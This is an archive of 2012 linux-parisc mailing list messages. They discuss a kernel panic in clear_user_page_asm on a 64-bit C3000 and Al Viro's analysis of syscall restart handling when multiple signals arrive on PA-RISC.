X-Trace: dough.gmane.org 1337282815 20128 80.91.229.3 (17 May 2012 19:26:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 May 2012 19:26:55 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 17 21:26:53 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SV6LX-0007kt-Tt
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 May 2012 21:26:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933444Ab2EQT0r (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 May 2012 15:26:47 -0400
Original-Received: from mailout-de.gmx.net ([213.165.64.22]:33113 "HELO
	mailout-de.gmx.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S932405Ab2EQT0q (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 May 2012 15:26:46 -0400
Original-Received: (qmail invoked by alias); 17 May 2012 19:26:44 -0000
Original-Received: from p54AD08AD.dip0.t-ipconnect.de (EHLO [192.168.178.51]) [84.173.8.173]
  by mail.gmx.net (mp002) with SMTP; 17 May 2012 21:26:44 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/NVGl5Y5TNsCJ3MqAGsp1B+pMcE1ux38UZ7ktlMK
	hirzu9nzBBHPub
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120329 Thunderbird/11.0.1
In-Reply-To: <4FB2C129.90307@bell.net>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4429
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4429>

On 05/15/2012 10:48 PM, John David Anglin wrote:
> We need to debug why your B160L hangs.  Can you kill whatever hangs
> from the console?  Sometimes the application is still in the foreground.

Ok, the B160L problem is gone now.
I found the reason for this bug between the chair and the monitor :-)   
(it was my fault - sorry .... )

But I think we still have a problem.
I'm using 3.4.0-rc7, have pulled all fixes from James "fixes" branch, 
and Dave's "vmlinux.lds" patch.

The 32bit machines (715/64 and B160L) boot nicely into userspace.
The 64bit machine (C3000) crashes directly when switching to userspace.

Do we still have another problem somewhere?
Or is it introduced because of the vmlinux.lds patch?
(Reminder: without the vmlinux.lds patch the C3000 hangs directly at 
bootup after printing memory information...)

Helge

VFS: Mounted root (ext3 filesystem) readonly on device 8:3.
Freeing unused kernel memory: 316k freed
Backtrace:
  [<10119560>] clear_user_page_asm+0x44/0x6c
  [<101195dc>] clear_user_page+0x54/0x6c
  [<101bbaa8>] handle_pte_fault+0x5dc/0x7a8
  [<101bbd3c>] handle_mm_fault+0xc8/0x120
  [<101bbffc>] __get_user_pages+0x160/0x3c4
  [<101bc348>] get_user_pages+0x50/0x60
  [<101e169c>] get_arg_page+0x64/0xe8
  [<101e182c>] copy_strings+0x10c/0x248
  [<101e1990>] copy_strings_kernel+0x28/0x44
  [<101e328c>] do_execve+0x2a0/0x36c
  [<10120424>] sys_execve+0x44/0x7c
  [<10104084>] __execve+0x20/0x34
  [<10133b9c>] vprintk+0x1d8/0x4f4
  [<10133ee8>] printk+0x30/0x40
  [<10118550>] free_initmem+0x154/0x184
  [<10117cbc>] init_post+0xa0/0xd4


Kernel Fault: Code=26 regs=8fc30940 (Addr=0f2ff000)

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001110 Not tainted
r00-03  0006ff0e 00000040 10119560 8fc308c0
r04-07  106e5820 107d2000 0000000f 10768020
r08-11  ffeffff1 8fd00ffc 8f49ce40 00000001
r12-15  00000000 00000017 00000001 00000000
r16-19  00004400 00000020 00000000 ffffffff
r20-23  00000000 00000000 00000001 00000040
r24-27  1090aa40 ffeffff1 0000fa40 106e2020
r28-31  0f2ff000 0007d882 8fc30940 0007d024
sr00-03  00000000 00000000 00000000 00000000
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10100eec 10100ef0
  IIR: 0f801280    ISR: 00000000  IOR: 0f2ff000
  CPU:        0   CR30: 8fc30000 CR31: de9345e0
  ORIG_R28: 8f812728
  IAOQ[0]: __clear_user_page_asm+0x20/0x70
  IAOQ[1]: __clear_user_page_asm+0x24/0x70
  RP(r2): clear_user_page_asm+0x44/0x6c
Backtrace:
  [<10119560>] clear_user_page_asm+0x44/0x6c
  [<101195dc>] clear_user_page+0x54/0x6c
  [<101bbaa8>] handle_pte_fault+0x5dc/0x7a8
  [<101bbd3c>] handle_mm_fault+0xc8/0x120
  [<101bbffc>] __get_user_pages+0x160/0x3c4
  [<101bc348>] get_user_pages+0x50/0x60
  [<101e169c>] get_arg_page+0x64/0xe8
  [<101e182c>] copy_strings+0x10c/0x248
  [<101e1990>] copy_strings_kernel+0x28/0x44
  [<101e328c>] do_execve+0x2a0/0x36c
  [<10120424>] sys_execve+0x44/0x7c
  [<10104084>] __execve+0x20/0x34
  [<10133b9c>] vprintk+0x1d8/0x4f4
  [<10133ee8>] printk+0x30/0x40
  [<10118550>] free_initmem+0x154/0x184
  [<10117cbc>] init_post+0xa0/0xd4

Kernel panic - not syncing: Kernel Fault

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Thu, 17 May 2012 21:57:20 +0200
Lines: 80
Approved: news@gmane.org
Message-ID: <5770099dcbd607c019c941971e019b12.squirrel@webmail.sf-mail.de>
References: <4FA9975C.5060708@bergerie>
    <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>
    <4FAADE2A.9080803@bergerie>
    <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>
    <4FAEE943.2030203@gmx.de>
    <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>
    <4FB182F8.2040403@gmx.de>
    <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>
    <1337069366.3005.10.camel@dabdike.lan>
    <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net>
    <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net>
    <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de>
    <4FB2B71B.7090602@bell.net> <4FB2BC5F.3080905@gmx.de>
    <4FB2C129.90307@bell.net> <4FB550F1.7080104@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1337284649 3267 80.91.229.3 (17 May 2012 19:57:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 May 2012 19:57:29 +0000 (UTC)
Cc: "John David Anglin" <dave.anglin@bell.net>,
	"James Bottomley" <james.bottomley@hansenpartnership.com>,
	"Vincent" <vincent.stehle@laposte.net>,
	linux-parisc@vger.kernel.org
To: "Helge Deller" <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 17 21:57:27 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SV6pB-0002Yw-1h
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 May 2012 21:57:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932375Ab2EQT5Y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 May 2012 15:57:24 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:47045 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932347Ab2EQT5X (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 May 2012 15:57:23 -0400
Original-Received: (qmail 7253 invoked by uid 81); 17 May 2012 19:57:20 -0000
Original-Received: from 188.108.135.225
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Thu, 17 May 2012 21:57:20 +0200
In-Reply-To: <4FB550F1.7080104@gmx.de>
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4430
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4430>

> On 05/15/2012 10:48 PM, John David Anglin wrote:
>> We need to debug why your B160L hangs.  Can you kill whatever hangs
>> from the console?  Sometimes the application is still in the foreground.
>
> Ok, the B160L problem is gone now.
> I found the reason for this bug between the chair and the monitor :-)
> (it was my fault - sorry .... )
>
> But I think we still have a problem.
> I'm using 3.4.0-rc7, have pulled all fixes from James "fixes" branch,
> and Dave's "vmlinux.lds" patch.
>
> The 32bit machines (715/64 and B160L) boot nicely into userspace.
> The 64bit machine (C3000) crashes directly when switching to userspace.
>
> Do we still have another problem somewhere?
> Or is it introduced because of the vmlinux.lds patch?
> (Reminder: without the vmlinux.lds patch the C3000 hangs directly at
> bootup after printing memory information...)
>
> Helge
>
> VFS: Mounted root (ext3 filesystem) readonly on device 8:3.
> Freeing unused kernel memory: 316k freed
> Backtrace:
>   [<10119560>] clear_user_page_asm+0x44/0x6c
>   [<101195dc>] clear_user_page+0x54/0x6c
>   [<101bbaa8>] handle_pte_fault+0x5dc/0x7a8
>   [<101bbd3c>] handle_mm_fault+0xc8/0x120
>   [<101bbffc>] __get_user_pages+0x160/0x3c4
>   [<101bc348>] get_user_pages+0x50/0x60
>   [<101e169c>] get_arg_page+0x64/0xe8
>   [<101e182c>] copy_strings+0x10c/0x248
>   [<101e1990>] copy_strings_kernel+0x28/0x44
>   [<101e328c>] do_execve+0x2a0/0x36c
>   [<10120424>] sys_execve+0x44/0x7c
>   [<10104084>] __execve+0x20/0x34
>   [<10133b9c>] vprintk+0x1d8/0x4f4
>   [<10133ee8>] printk+0x30/0x40
>   [<10118550>] free_initmem+0x154/0x184
>   [<10117cbc>] init_post+0xa0/0xd4
>
>
> Kernel Fault: Code=26 regs=8fc30940 (Addr=0f2ff000)
>
>       YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001101111111100001110 Not tainted
> r00-03  0006ff0e 00000040 10119560 8fc308c0
> r04-07  106e5820 107d2000 0000000f 10768020
> r08-11  ffeffff1 8fd00ffc 8f49ce40 00000001
> r12-15  00000000 00000017 00000001 00000000
> r16-19  00004400 00000020 00000000 ffffffff
> r20-23  00000000 00000000 00000001 00000040
> r24-27  1090aa40 ffeffff1 0000fa40 106e2020
> r28-31  0f2ff000 0007d882 8fc30940 0007d024
> sr00-03  00000000 00000000 00000000 00000000
> sr04-07  00000000 00000000 00000000 00000000
>
> IASQ: 00000000 00000000 IAOQ: 10100eec 10100ef0
>   IIR: 0f801280    ISR: 00000000  IOR: 0f2ff000
>   CPU:        0   CR30: 8fc30000 CR31: de9345e0
>   ORIG_R28: 8f812728
>   IAOQ[0]: __clear_user_page_asm+0x20/0x70
>   IAOQ[1]: __clear_user_page_asm+0x24/0x70
>   RP(r2): clear_user_page_asm+0x44/0x6c
> Backtrace:
>   [<10119560>] clear_user_page_asm+0x44/0x6c
>   [<101195dc>] clear_user_page+0x54/0x6c
>   [<101bbaa8>] handle_pte_fault+0x5dc/0x7a8

Looks basically as if we are back at the start, no? Because the initial
problem was only a few instructions away. So, did we change the 64 bit
assembly in any way?

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Fri, 18 May 2012 09:12:24 +0100
Lines: 103
Approved: news@gmane.org
Message-ID: <1337328744.2938.5.camel@dabdike.int.hansenpartnership.com>
References: <4FA9975C.5060708@bergerie>
	  <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>
	  <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>
	  <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>
	  <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>
	  <1337069366.3005.10.camel@dabdike.lan>
	 <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net>
	 <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net>
	 <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de>
	 <4FB2B71B.7090602@bell.net> <4FB2BC5F.3080905@gmx.de>
	 <4FB2C129.90307@bell.net> <4FB550F1.7080104@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337328766 4157 80.91.229.3 (18 May 2012 08:12:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 May 2012 08:12:46 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 18 10:12:40 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SVIIf-0001bT-90
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 May 2012 10:12:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760333Ab2ERIMg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 May 2012 04:12:36 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:35077 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1760022Ab2ERIMa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 May 2012 04:12:30 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 394438EE0DD;
	Fri, 18 May 2012 01:12:29 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ooLpZeQiSOzt; Fri, 18 May 2012 01:12:29 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 4B02B8EE091;
	Fri, 18 May 2012 01:12:26 -0700 (PDT)
In-Reply-To: <4FB550F1.7080104@gmx.de>
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4431
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4431>

On Thu, 2012-05-17 at 21:26 +0200, Helge Deller wrote:
> On 05/15/2012 10:48 PM, John David Anglin wrote:
> > We need to debug why your B160L hangs.  Can you kill whatever hangs
> > from the console?  Sometimes the application is still in the foreground.
> 
> Ok, the B160L problem is gone now.
> I found the reason for this bug between the chair and the monitor :-)   
> (it was my fault - sorry .... )
> 
> But I think we still have a problem.
> I'm using 3.4.0-rc7, have pulled all fixes from James "fixes" branch, 
> and Dave's "vmlinux.lds" patch.
> 
> The 32bit machines (715/64 and B160L) boot nicely into userspace.
> The 64bit machine (C3000) crashes directly when switching to userspace.
> 
> Do we still have another problem somewhere?
> Or is it introduced because of the vmlinux.lds patch?
> (Reminder: without the vmlinux.lds patch the C3000 hangs directly at 
> bootup after printing memory information...)

I'm not seeing it on my rp3410 ... I'm going to have to find the J box
(which I think is closest to your C3000 ... that's an astro system) and
boot it.

> Helge
> 
> VFS: Mounted root (ext3 filesystem) readonly on device 8:3.
> Freeing unused kernel memory: 316k freed
> Backtrace:
>   [<10119560>] clear_user_page_asm+0x44/0x6c
>   [<101195dc>] clear_user_page+0x54/0x6c
>   [<101bbaa8>] handle_pte_fault+0x5dc/0x7a8
>   [<101bbd3c>] handle_mm_fault+0xc8/0x120
>   [<101bbffc>] __get_user_pages+0x160/0x3c4
>   [<101bc348>] get_user_pages+0x50/0x60
>   [<101e169c>] get_arg_page+0x64/0xe8
>   [<101e182c>] copy_strings+0x10c/0x248
>   [<101e1990>] copy_strings_kernel+0x28/0x44
>   [<101e328c>] do_execve+0x2a0/0x36c
>   [<10120424>] sys_execve+0x44/0x7c
>   [<10104084>] __execve+0x20/0x34
>   [<10133b9c>] vprintk+0x1d8/0x4f4
>   [<10133ee8>] printk+0x30/0x40
>   [<10118550>] free_initmem+0x154/0x184
>   [<10117cbc>] init_post+0xa0/0xd4
> 
> 
> Kernel Fault: Code=26 regs=8fc30940 (Addr=0f2ff000)
> 
>       YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001101111111100001110 Not tainted
> r00-03  0006ff0e 00000040 10119560 8fc308c0
> r04-07  106e5820 107d2000 0000000f 10768020
> r08-11  ffeffff1 8fd00ffc 8f49ce40 00000001
> r12-15  00000000 00000017 00000001 00000000
> r16-19  00004400 00000020 00000000 ffffffff
> r20-23  00000000 00000000 00000001 00000040
> r24-27  1090aa40 ffeffff1 0000fa40 106e2020
> r28-31  0f2ff000 0007d882 8fc30940 0007d024
> sr00-03  00000000 00000000 00000000 00000000
> sr04-07  00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 10100eec 10100ef0
>   IIR: 0f801280    ISR: 00000000  IOR: 0f2ff000
>   CPU:        0   CR30: 8fc30000 CR31: de9345e0
>   ORIG_R28: 8f812728
>   IAOQ[0]: __clear_user_page_asm+0x20/0x70
>   IAOQ[1]: __clear_user_page_asm+0x24/0x70
>   RP(r2): clear_user_page_asm+0x44/0x6c
> Backtrace:
>   [<10119560>] clear_user_page_asm+0x44/0x6c
>   [<101195dc>] clear_user_page+0x54/0x6c
>   [<101bbaa8>] handle_pte_fault+0x5dc/0x7a8
>   [<101bbd3c>] handle_mm_fault+0xc8/0x120
>   [<101bbffc>] __get_user_pages+0x160/0x3c4
>   [<101bc348>] get_user_pages+0x50/0x60
>   [<101e169c>] get_arg_page+0x64/0xe8
>   [<101e182c>] copy_strings+0x10c/0x248
>   [<101e1990>] copy_strings_kernel+0x28/0x44
>   [<101e328c>] do_execve+0x2a0/0x36c
>   [<10120424>] sys_execve+0x44/0x7c
>   [<10104084>] __execve+0x20/0x34
>   [<10133b9c>] vprintk+0x1d8/0x4f4
>   [<10133ee8>] printk+0x30/0x40
>   [<10118550>] free_initmem+0x154/0x184
>   [<10117cbc>] init_post+0xa0/0xd4
> 
> Kernel panic - not syncing: Kernel Fault

What this says is something went wrong in the tmpalias space because it
fell through to the fault path.  How much memory does this system have
(and what's the layout map)?  It's 64 bit but you're booting it with a
32 bit kernel ... I'm wondering if there's no space for tmpalias.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Viro <viro@ZenIV.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [parisc] double restarts on multiple signal arrivals
Date: Fri, 18 May 2012 18:58:33 +0100
Lines: 70
Approved: news@gmane.org
Message-ID: <20120518175833.GQ22082@ZenIV.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1337363918 27701 80.91.229.3 (18 May 2012 17:58:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 May 2012 17:58:38 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-arch@vger.kernel.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 18 19:58:37 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SVRRl-0002Qk-AN
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 May 2012 19:58:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965672Ab2ERR6g (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 May 2012 13:58:36 -0400
Original-Received: from zeniv.linux.org.uk ([195.92.253.2]:50911 "EHLO
	ZenIV.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S965576Ab2ERR6f (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 May 2012 13:58:35 -0400
Original-Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux))
	id 1SVRRh-0006Du-T3; Fri, 18 May 2012 17:58:33 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4432 gmane.linux.kernel.cross-arch:14177
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4432>

	Since "[PATCH] PA-RISC assembler cleanups and fixes" back in 2005,
(commit b6181a0a1999c7d4dd937d7f5234fb62eca68e89 in historical tree),
we do loop until all pending signals are dealt with.  Which is fine,
except that now we need to deal with syscall restart logics in all of
them.

	What happens if we have r28 containing e.g. -ERESTARTNOINTR
when we do a syscall?  Note that x86 analog of the code in parisc
syscall_restart() differs in one respect - the same register is used
for return value and syscall number.  So once we'd copied ->orig_ax
to ->ax, that's it - it *can't* be a restart-worthy value anymore,
since then we would've been in a syscall with negative syscall number
and ->ax before the assignment would've been -ENOSYS.  I.e. not a
restart-worthy value, so we wouldn't have hit that regs->ax = regs->orig_ax
in the first place.

	On parisc the counterpart of the above doesn't work; AFAICS,
we might have whatever we bloody please in r28 when we make a syscall.
Syscall number goes in r20, arguments are apparently in r26..r21.
Return value goes into r28.  Incidentally, why do we bother restoring
r28 on syscall restart at all?  Except for that mess with multiple
pending signals, the value we have in r28 on syscall entry doesn't
seem to affect the syscall behaviour...  Some HPUX compat fun?  But
AFAICS there calling conventions are also such that r28 on entry
doesn't affect anything...[1]

	Another fun question: what prevents syscall restarts on
rt_sigreturn()?  If original signal had been taken in syscall handler
we go through syscall_exit and that'll pass 1 as in_syscall to do_signal().
Are we relying on r28 in saved sigcontext never being restart-worthy,
seeing that we'd done syscall_restart()?  But that again relies on
->orig_r28 never containing such values; if it *did* contain one,
we are really screwed since on the path from rt_sigreturn() we'll have
->orig_r28 equal to r28 at the end of signal handler (not to mention
having moved back by twice the required amount - one time when we took
the original signal, another - now).

[1] FWIW, on other architectures the situation with restoring registers on
restarts looks so:
alpha		r0 (syscall number), r19 (arg4)
arm		r0 (arg1)
avr32		r12 (arg1)
bfin		p0 (syscall number), r0 (arg1)
c6x		a4 (arg1)
cris		r10 (arg1)
frv		gr8 (arg1)
h8300		er0 (syscall number)
hexagon		r06 (syscall number), r00 (arg1)
ia64		nothing
m32r		r0 (arg1)
m68k		d0 (syscall number)
microblaze	nothing
mips		r2 (syscall number), r7 (arg1)
mn10300		d0 (syscall number)
openrisc	r11 (syscall number)
parisc		r28
ppc		r3 (arg1)
s390		r2 (arg1)
score		r4 (syscall number), r7 (arg1)
sh		r0 or r9, depending on whether it's sh32 or sh4
sparc		i0 (arg1)
tile		r0 (arg1)
unicore32	r00 (arg1)
x86		[er]ax (syscall number)
xtensa		a2 (syscall number)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grantgrundler@gmail.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [parisc] double restarts on multiple signal arrivals
Date: Fri, 18 May 2012 11:05:46 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <CAP6odjiS+oH7ajnHcyBJwm9bCTZxDJ7w02JeCuWW_UF3Fm49xw@mail.gmail.com>
References: <20120518175833.GQ22082@ZenIV.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1337364380 31331 80.91.229.3 (18 May 2012 18:06:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 May 2012 18:06:20 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-arch@vger.kernel.org
To: Al Viro <viro@zeniv.linux.org.uk>
Original-X-From: linux-arch-owner@vger.kernel.org Fri May 18 20:06:19 2012
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1SVRZC-0004wD-RC
	for glka-linux-arch@plane.gmane.org; Fri, 18 May 2012 20:06:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966421Ab2ERSGD convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 18 May 2012 14:06:03 -0400
Original-Received: from mail-we0-f174.google.com ([74.125.82.174]:61861 "EHLO
	mail-we0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S966353Ab2ERSFr convert rfc822-to-8bit (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Fri, 18 May 2012 14:05:47 -0400
Original-Received: by weyu7 with SMTP id u7so1970913wey.19
        for <multiple recipients>; Fri, 18 May 2012 11:05:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        bh=T1JWOeJLcuV7t9Rp11at5mY3NQaSDc65/frhhgy72kk=;
        b=sDM+lW0xoiBevQiYtWIT06ePfbmPDxf5T0LFNvRAuy80WKalk7dEqqs5gSocaE4Eb/
         SqD96pqzDdEEgJPb0DCrttOjyHQmEiYLIQxW+75pACwLY18IJ22ttiDOJnjXyS6aPpl0
         w1fR/VfZIGqsqaoaUsNUqGMphzYraeVrQ6ScrP8dAW/l9hPPrRfLTFbF73nLN2lTGi/4
         RjJzOTpKvBA058Xx/fkqsapCvVBWayg1bXFZOPYppj8LlzXiGB/JzaCaNPj3ExDVy2gf
         U3vmYSKj4J9j28a8PB/5VWZ4UWPAl0ed0eZVGljDhTHfrigrmb8+iMNb0HB7C67tZQDj
         9eWA==
Original-Received: by 10.180.82.5 with SMTP id e5mr3911183wiy.0.1337364346233; Fri, 18
 May 2012 11:05:46 -0700 (PDT)
